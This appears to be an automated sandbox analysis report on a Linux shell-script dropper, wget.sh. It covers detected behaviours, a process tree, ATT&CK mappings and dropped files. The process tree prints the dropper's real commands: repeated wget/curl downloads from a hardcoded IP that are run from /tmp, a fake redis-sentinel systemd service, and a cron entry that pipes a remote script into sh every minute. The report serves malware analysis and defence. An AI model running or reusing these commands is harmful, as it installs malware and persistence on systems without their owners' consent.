Overview

overview

7

Static

static

1

wget.sh

ubuntu-18.04-amd64

7

wget.sh

debian-9-armhf

7

wget.sh

debian-9-mips

wget.sh

debian-9-mipsel

Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/07/2026, 04:59

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General

  • Target
    wget.sh
  • Size 4KB
  • Sample260710-fmrb8ads4l
  • SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Reads MAC address of network interface 2 TTPs 1 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

    defense_evasiondiscovery
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.sh
    /tmp/wget.sh
    1⤵
    • Executes dropped EXE
    PID:639
    • /usr/bin/wget
      wget http://91.92.40.118/kworkerd -O /tmp/.k
      2⤵
      • Writes file to tmp directory
      PID:640
    • /bin/chmod
      chmod 777 /tmp/.k
      2⤵
      • File and Directory Permissions Modification
      PID:661
    • /tmp/.k
      /tmp/.k
      2⤵
        PID:663
      • /bin/rm
        rm -f /tmp/.k
        2⤵
          PID:667
        • /usr/bin/wget
          wget http://91.92.40.118/kworkerd-events -O /tmp/.k
          2⤵
          • Writes file to tmp directory
          PID:669
        • /bin/chmod
          chmod 777 /tmp/.k
          2⤵
          • File and Directory Permissions Modification
          PID:672
        • /tmp/.k
          /tmp/.k
          2⤵
            PID:673
          • /bin/rm
            rm -f /tmp/.k
            2⤵
              PID:675
            • /usr/bin/wget
              wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
              • Writes file to tmp directory
              PID:676
            • /bin/busybox
              busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
              2⤵
                PID:677
              • /usr/bin/curl
                curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:690
              • /bin/chmod
                chmod 777 /tmp/.k
                2⤵
                • File and Directory Permissions Modification
                PID:701
              • /tmp/.k
                /tmp/.k
                2⤵
                  PID:702
                • /bin/sh
                  /bin/sh /tmp/.k
                  2⤵
                    PID:702
                  • /bin/rm
                    rm -f /tmp/.k
                    2⤵
                      PID:704
                    • /usr/bin/wget
                      wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
                      2⤵
                      • Writes file to tmp directory
                      PID:706
                    • /bin/chmod
                      chmod 777 /tmp/.k
                      2⤵
                      • File and Directory Permissions Modification
                      PID:716
                    • /tmp/.k
                      /tmp/.k
                      2⤵
                        PID:717
                      • /bin/rm
                        rm -f /tmp/.k
                        2⤵
                          PID:720
                        • /usr/bin/wget
                          wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
                          2⤵
                          • Writes file to tmp directory
                          PID:723
                        • /bin/chmod
                          chmod 777 /tmp/.k
                          2⤵
                          • File and Directory Permissions Modification
                          PID:733
                        • /tmp/.k
                          /tmp/.k
                          2⤵
                            PID:734
                          • /bin/rm
                            rm -f /tmp/.k
                            2⤵
                              PID:736
                            • /usr/bin/wget
                              wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
                              2⤵
                              • Writes file to tmp directory
                              PID:737
                            • /bin/chmod
                              chmod 777 /tmp/.k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:738
                            • /tmp/.k
                              /tmp/.k
                              2⤵
                                PID:739
                              • /bin/rm
                                rm -f /tmp/.k
                                2⤵
                                  PID:741
                                • /usr/bin/wget
                                  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:742
                                • /bin/chmod
                                  chmod 777 /tmp/.k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:743
                                • /tmp/.k
                                  /tmp/.k
                                  2⤵
                                  • Deletes itself
                                  • Modifies Watchdog functionality
                                  • Enumerates active TCP sockets
                                  • Modifies systemd
                                  • Reads MAC address of network interface
                                  • Changes its process name
                                  • Checks CPU configuration
                                  • Reads system network configuration
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:744
                                  • /bin/sh
                                    sh -c "/bin/systemctl daemon-reload 2>/dev/null"
                                    3⤵
                                      PID:749
                                      • /bin/systemctl
                                        /bin/systemctl daemon-reload
                                        4⤵
                                        • Enumerates kernel/hardware configuration
                                        • Reads runtime system information
                                        PID:750
                                    • /bin/sh
                                      sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"
                                      3⤵
                                        PID:781
                                        • /bin/systemctl
                                          /bin/systemctl enable --now redis-sentinel.service
                                          4⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:782
                                      • /bin/sh
                                        sh -c "/usr/bin/crontab -l 2>/dev/null"
                                        3⤵
                                          PID:807
                                          • /usr/bin/crontab
                                            /usr/bin/crontab -l
                                            4⤵
                                              PID:808
                                          • /bin/sh
                                            sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 746 2>/dev/null && exit 0; (wget -qO- http://91.92.40.118/init.sh || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"
                                            3⤵
                                              PID:809
                                              • /usr/bin/crontab
                                                /usr/bin/crontab -
                                                4⤵
                                                • Creates/modifies Cron job
                                                • Reads runtime system information
                                                PID:810

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Reconnaissance

                                              Resource Development

                                              Initial Access

                                              Execution

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Cron

                                              1
                                              T1053.003

                                              Persistence

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              XDG Autostart Entries

                                              1
                                              T1547.013

                                              Create or Modify System Process

                                              1
                                              T1543

                                              Systemd Service

                                              1
                                              T1543.002

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Cron

                                              1
                                              T1053.003

                                              Privilege Escalation

                                              Boot or Logon Autostart Execution

                                              1
                                              T1547

                                              XDG Autostart Entries

                                              1
                                              T1547.013

                                              Create or Modify System Process

                                              1
                                              T1543

                                              Systemd Service

                                              1
                                              T1543.002

                                              Scheduled Task/Job

                                              1
                                              T1053

                                              Cron

                                              1
                                              T1053.003

                                              Defense Evasion

                                              File and Directory Permissions Modification

                                              1
                                              T1222

                                              Linux and Mac File and Directory Permissions Modification

                                              1
                                              T1222.002

                                              Impair Defenses

                                              1
                                              T1562

                                              Virtualization/Sandbox Evasion

                                              1
                                              T1497

                                              System Checks

                                              1
                                              T1497.001

                                              Credential Access

                                              Discovery

                                              System Information Discovery

                                              1
                                              T1082

                                              System Network Configuration Discovery

                                              2
                                              T1016

                                              Internet Connection Discovery

                                              1
                                              T1016.001

                                              Wi-Fi Discovery

                                              1
                                              T1016.002

                                              System Network Connections Discovery

                                              2
                                              T1049

                                              Virtualization/Sandbox Evasion

                                              1
                                              T1497

                                              System Checks

                                              1
                                              T1497.001

                                              Lateral Movement

                                              Collection

                                              Command and Control

                                              Exfiltration

                                              Impact

                                              Replay Monitor

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                                              Downloads

                                              redis-sentinel.service
                                              • Path /etc/systemd/system/redis-sentinel.service
                                              • Size 342B
                                              • SHA256 233380053ca11cd37fcf70af2aebea67094b7065709aaa1c07e34f13a5686afa
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 271KB
                                              • SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 223KB
                                              • SHA256 10c76163201a46c7a7e5df1f2bb2d25bd79bc348baba7c17ee46bd4eef5148f6
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 162B
                                              • SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 394KB
                                              • SHA256 2081580b46e6903e856f457ee1511c1a89d571a2285e2f227308fafc402db71c
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 377KB
                                              • SHA256 ae5946d2ee25fbdbd341d3909c8226d3152376d2b68e523cbb323bccf29a0481
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              .k
                                              • Path /tmp/.k
                                              • Size 394KB
                                              • SHA256 cf3f03b781e716c600e11a7b185cd6d6c350c13c1127e577205e5eb89c4d030b
                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                              Submit Download

                                              .redis-server.pid
                                              • Path /tmp/.redis-server.pid
                                              • Size 3B
                                              • SHA256 5dad6478e152b8aa33dc6a2c27992d26c0a6873d6ed1407a7e6efddca3985122
                                              • MD5 SHA1 SHA512
                                              Submit Download

                                              tmp.JtCy6h
                                              • Path /var/spool/cron/crontabs/tmp.JtCy6h
                                              • Size 340B
                                              • SHA256 2ca15d26ff6802c68b350faba4dd3101fe67ccb0aa759b6585717ac5306f6219
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download